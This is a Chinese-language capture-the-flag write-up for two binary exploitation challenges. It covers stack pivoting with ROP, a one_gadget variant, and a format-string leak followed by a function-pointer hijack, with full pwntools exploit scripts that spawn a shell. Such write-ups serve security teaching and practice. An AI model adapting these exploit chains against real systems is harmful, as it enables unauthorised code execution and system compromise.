本题解分析了两道来自2025年鹏城杯的Pwn挑战,分别利用了栈迁移与格式化字符串漏洞技术。环境自带libc 2.35。
1. Pivoting:栈迁移利用
程序开始时泄露了一个栈地址。

随后read函数读取一个名字到buf,存在溢出但无法覆盖关键数据。

核心逻辑在Business()函数中,通过一个标志位循环。

在特定分支会进行第二次read,产生一个明显的溢出。另一个分支则会打印*buf的内容并退出循环,且buf内容可控。由于未开启PIE,可以通过将buf指向GOT表来泄露libc地址。
首先尝试泄露libc基址。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']
#sh = remote('xxx',8080)
#sh = process("./pwn")
sh = gdb.debug("./pwn","b main\nb Business\nb *0x40139a\nb *0x40130e\n c")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
got_write = elf.got["write"]
sh.send("A" * 20)
sh.sendlineafter("you?", "1")
sh.sendlineafter("withdraw?", "10")
sh.sendafter("sure?", p64(got_write))
sh.sendlineafter("you?", "0")
sh.sendlineafter("save?", "10")
sh.interactive()
执行后成功泄露出write函数的地址。

接下来测试栈溢出能否覆盖返回地址。使用规律字符串进行探测。
sh.sendafter("sure?", p64(got_write)+"A"*8+"B"*8+"C"*8+"D"*8+"E"*8+"F"*8+"G"*8+"H"*8+"I"*8+"J"*8+"K"*8)

测试发现,最后一个"K"*8刚好覆盖到返回地址。由于泄露libc和覆盖返回地址需要在同一次Payload中完成,我们无法在获取libc地址后再修改返回地址。因此,第一次攻击先让程序返回到start或main函数,进行第二次循环。
sh.sendafter("sure?", p64(got_write)+"A"*0x50+p64(0x4010D0))
在第二次循环中,我们获得了控制一个返回地址的机会。结合开头泄露的栈地址,标准解法是进行栈迁移。通过计算泄露的栈地址到buf的距离,在Padding区域布置ROP链,最后将栈迁移到该区域。
完整利用脚本如下:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']
#sh = remote('xxx',8080)
sh = process("./pwn")
#sh = gdb.debug("./pwn","b main\nb Business\nb *0x40139a\nb *0x40130e\n c")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
rop = ROP(libc)
got_write = elf.got["write"]
libc_write = libc.sym['write']
start = 0x4010D0
leave = 0x4013C8
ret = 0x4013C9
# 第一轮:泄露libc和栈地址,并重启程序
sh.send("A" * 20)
sh.sendlineafter("you?", "1")
sh.sendlineafter("withdraw?", "10")
sh.sendafter("sure?", p64(got_write)+"A"*0x50+p64(start))
sh.sendlineafter("you?", "0")
sh.sendlineafter("save?", "10")
write_addr = u64(sh.recvuntil("\x7f")[-6:]+b"\x00\x00")
print("write_addr: " + hex(write_addr))
base_addr = write_addr - libc_write
print("base_addr: " + hex(base_addr))
stack_addr = u64(sh.recvuntil("\x7f")[-6:]+b"\x00\x00")
print("stack_addr:"+hex(stack_addr))
system = base_addr + libc.sym["system"]
binsh = base_addr + libc.search("/bin/sh").next()
pop_rdi = base_addr + rop.find_gadget(['pop rdi', 'ret'])[0]
# 第二轮:布置ROP链并执行栈迁移
sh.sendafter("\x00\x00\n", "A" * 20)
sh.sendlineafter("you?", "1")
sh.sendlineafter("withdraw?", "10")
sh.sendafter("sure?", p64(got_write) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + "A"*40 + p64(stack_addr - 360) + p64(leave))
sh.interactive()
备选方案:one_gadget
此题也可利用one_gadget。检查其条件,仅需满足rbp+某个偏移为NULL即可。由于我们可以控制rbp,只需在栈上寻找合适位置。在网络安全的漏洞利用中,这种对寄存器状态的精确控制是关键。
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
sh.sendafter("sure?", p64(got_write) + "A" * 0x48 + p64(stack_addr - 0x98) + p64(one[6] + base_addr))
此方法同样能成功获取shell。

2. myzoo:格式化字符串漏洞利用
程序保护全开,自带libc 2.35。运行后赠送一个text段的地址作为礼物。功能包括给狗喂食、给猫或鸟重命名。

逆向分析主要函数,程序分配了4个堆块,分别对应ptr、dog_info、cat_info、bird_info。查看dog()函数:

ptr用作临时存储,会将dog_info结构体的属性复制到ptr上然后打印。关键点在于ptr+0x50处存储了一个函数指针(sub_12C8),后续会调用call ptr+0x50。
if(ptr==3)分支负责用dog_info的数据填充ptr,但call ptr+0x50的执行并不依赖此条件。因此,若能完全控制ptr,就能实现任意地址跳转。
cat()函数逻辑类似,调用call ptr+0x28,并且可以通过read()覆盖ptr+0x28处的数据。
bird()函数则可以覆盖ptr上更大范围的数据。
为清晰起见,在IDA中定义一个结构体:
struct ptr_obj{
int state;
char pad0[4];
char name[32];
int attr1;
int attr2;
char desc[32];
void (__fastcall *func)(char *);
};
将ptr的类型设置为struct ptr_obj *ptr后,代码可读性增强。

利用思路:先通过bird()控制ptr->func,再通过cat()控制ptr->name,最后在dog()中调用ptr->func(ptr->name)。初步尝试用puts_plt泄露puts_got的值,但发现该调用只会打印ptr->name(即puts_got地址本身),而非该地址存储的libc地址。
因此需要寻找其他信息泄露途径。注意到dog()函数中有一个专属的xxx_printf()调用,其参数ptr->name可控,这里存在一个格式化字符串漏洞。

检查栈布局,发现可以通过%23$p泄露libc地址。

完整利用链如下:
- 在
bird()中设置ptr->func为start,并填充ret指令地址防止cat()中的调用崩溃。
- 在
cat()中设置ptr->name为格式化字符串%23$p。
- 进入
dog(),触发格式化字符串漏洞泄露libc地址,并跳回start。
- 重复步骤1-3,但此次将
ptr->func设置为system,ptr->name设置为/bin/sh,最终获取shell。
完整利用脚本:
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn", "b *0x55555555580b\nb *0x555555555997\nb *0x555555555642\n c")
sh = process("./pwn")
libc = ELF("./libc.so.6")
base_text = int(sh.recvuntil("2c9")[-12:],16) - 0x12c9
print("base_text:"+hex(base_text))
ret = base_text+0x12FA
start = base_text+0x11e0
# 第一轮:利用格式化字符串漏洞泄露libc
# bird: 设置 ptr->func = start
sh.sendlineafter("\n","3")
sh.sendlineafter("\x90\x97\n","yes")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n", "A"*4 + p64(ret) + "B"*24 + p64(start))
# cat: 设置 ptr->name = %23$p
sh.sendlineafter("2c9\n","2")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n","%23$p")
# dog: 触发漏洞,泄露地址并返回start
sh.sendlineafter("2c9\n","1")
base_libc = int(sh.recvuntil("d90")[-12:],16) - 0x29d90
print("base_libc:"+hex(base_libc))
system = base_libc + libc.sym["system"]
# 第二轮:调用system("/bin/sh")
# bird: 设置 ptr->func = system
sh.sendlineafter("\n","3")
sh.sendlineafter("\x90\x97\n","yes")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n", "A"*4 + p64(ret)+ "B"*24 + p64(system))
# cat: 设置 ptr->name = /bin/sh
sh.sendlineafter("2c9\n","2")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n","/bin/sh\x00")
# dog: 触发 system("/bin/sh")
sh.sendlineafter("2c9\n","1")
sh.interactive()
攻击成功,获取shell。
